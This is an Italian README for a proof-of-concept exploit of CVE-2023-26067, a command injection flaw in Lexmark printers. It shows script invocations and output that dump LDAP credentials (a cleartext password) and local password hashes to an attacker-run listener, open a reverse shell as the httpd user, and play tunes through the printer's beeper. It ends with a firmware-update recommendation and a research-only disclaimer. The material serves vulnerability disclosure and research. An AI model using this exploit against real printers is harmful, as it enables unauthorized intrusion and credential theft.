
Lexmark CVE-2023-26067
POC per dump di credenziali, reverse shell e riproduzione di musica sfruttando un command injection, CVE-2023-26067, che colpisce le stampanti Lexmark.
Un'analisi tecnica della causa principale della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022
Questo POC sfrutta un command injection per ottenere una shell come utente httpd
python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C
sudo python3 Print4Shell.py -r 192.168.1.185 -l 192.168.1.212
[*] Sending wakeup 1...
[*] Sending wakeup 2...
[*] Starting listener on 0.0.0.0:443...
[*] Sending payload to server...
httpd@ls:/usr/share/web/cgi-bin$
python3 BitConductor.py -s mario
Converting: mario
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rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140
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rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210
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rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0
Aggiornare all'ultima versione del firmware secondo le istruzioni contenute nell'Avviso Lexmark
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I manutentori del progetto non sono responsabili per l'uso improprio del software. Utilizzare con responsabilità.